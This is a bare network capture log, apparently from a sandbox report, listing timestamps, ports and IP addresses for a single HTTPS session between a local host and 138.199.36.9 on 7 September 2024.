Sep 7, 2024 23:15:20.405114889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.405149937 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.405977011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.405992031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.406039953 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.406040907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.406055927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.406075001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.406092882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.406100035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.406117916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.406137943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.406913042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.406928062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.406986952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.406999111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.407011032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.407027960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.407040119 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.407047033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.407085896 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.407926083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.407938957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.407989979 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.408003092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.408068895 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.408787966 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.408802986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.408854961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.408854961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.408865929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.408883095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.408905983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.408942938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.408948898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.408979893 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.409800053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.409813881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.409859896 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.409868002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.409898043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.409965992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.409981012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.410033941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.410034895 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.410044909 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.410059929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.410089970 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.410098076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.410115957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.410135984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.410814047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.410828114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.410890102 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.410901070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.410933018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.411395073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.411415100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.411475897 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.411489010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.411521912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.411552906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.411573887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.411597967 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.411606073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.411628008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.411644936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.412388086 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.412403107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.412455082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.412456036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.412467003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.412492037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.412498951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.412532091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.412537098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.412566900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.413162947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.413177967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.413223028 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.413230896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.413264036 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.413379908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.413393974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.413427114 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.413434029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.413451910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.413466930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.414019108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.414035082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.414079905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.414081097 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.414089918 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.414110899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.414127111 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.414135933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.414154053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.414167881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.441994905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.442009926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.442078114 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.442114115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.442151070 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.475579977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.475603104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.475744009 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.475778103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.475821018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.476018906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.476036072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.476241112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.476248980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.476279974 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.479712963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.479731083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.479793072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.479809046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.479849100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.484575987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.484601021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.484671116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.484688044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.484733105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.485816956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.485836983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.485889912 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.485901117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.485919952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.485945940 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.487122059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.487138033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.487181902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.487190008 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.487211943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.487237930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.492640972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.492660046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.492733002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.492748976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.492789984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.529978991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.529993057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.530234098 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.530262947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.530304909 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.563886881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.563909054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.564035892 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.564062119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.564100027 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.564356089 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.564374924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.564414024 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.564419985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.564452887 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.564474106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.568186045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.568207979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.568274021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.568285942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.568320990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.573035002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.573056936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.573252916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.573266983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.573313951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.574345112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.574367046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.574424982 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.574431896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.574464083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.575560093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.575582981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.575620890 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.575627089 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.575650930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.575668097 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.581136942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.581160069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.581222057 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.581233978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.581267118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.619654894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.619688988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.619786024 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.619807005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.619844913 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.652573109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.652601004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.652767897 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.652796984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.652837038 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.652956009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.652972937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.653028011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.653034925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.653068066 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.656630039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.656653881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.656723976 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.656735897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.656775951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.662384033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.662410975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.662492990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.662503004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.662535906 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.662702084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.662722111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.662758112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.662764072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.662800074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.663980961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.664002895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.664079905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.664099932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.664145947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.669642925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.669663906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.669738054 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.669764042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.669800997 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.707026005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.707050085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.707185030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.707216978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.707262993 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.741378069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.741399050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.741507053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.741534948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.741578102 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.742742062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.742758989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.742818117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.742825985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.742861032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.742888927 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.745733976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.745750904 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.745834112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.745847940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.745894909 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.750039101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.750053883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.750186920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.750199080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.750243902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.751204014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.751219988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.751283884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.751291990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.751327991 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.752491951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.752510071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.752567053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.752576113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.752609968 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.758120060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.758150101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.758203030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.758210897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.758238077 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.758255959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.795641899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.795670033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.795846939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.795870066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.795919895 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.855401039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.855417967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.855492115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.855597973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.855642080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.855669975 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.855694056 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.855928898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.855942965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.855999947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.856014967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.856048107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.856148958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.856168985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.856215000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.856225014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.856256008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.856822968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.856838942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.856892109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.856915951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.856935978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.856955051 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.856955051 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.856966972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.856981993 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.857008934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.857783079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.857795000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.857850075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.857865095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.857878923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.857897997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.857897997 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.857908964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.857924938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.857949972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.858784914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.858797073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.858849049 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.858871937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.858886957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.858905077 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.858907938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.858917952 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.858936071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.858958960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.859755039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.859766960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.859822035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.859822035 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.859834909 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.859849930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.859874010 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.859883070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.859900951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.859916925 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.860764980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.860778093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.860805988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.860830069 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:21.860850096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.860872984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:21.860884905 CEST	49706	443	192.168.2.8	138.199.36.9
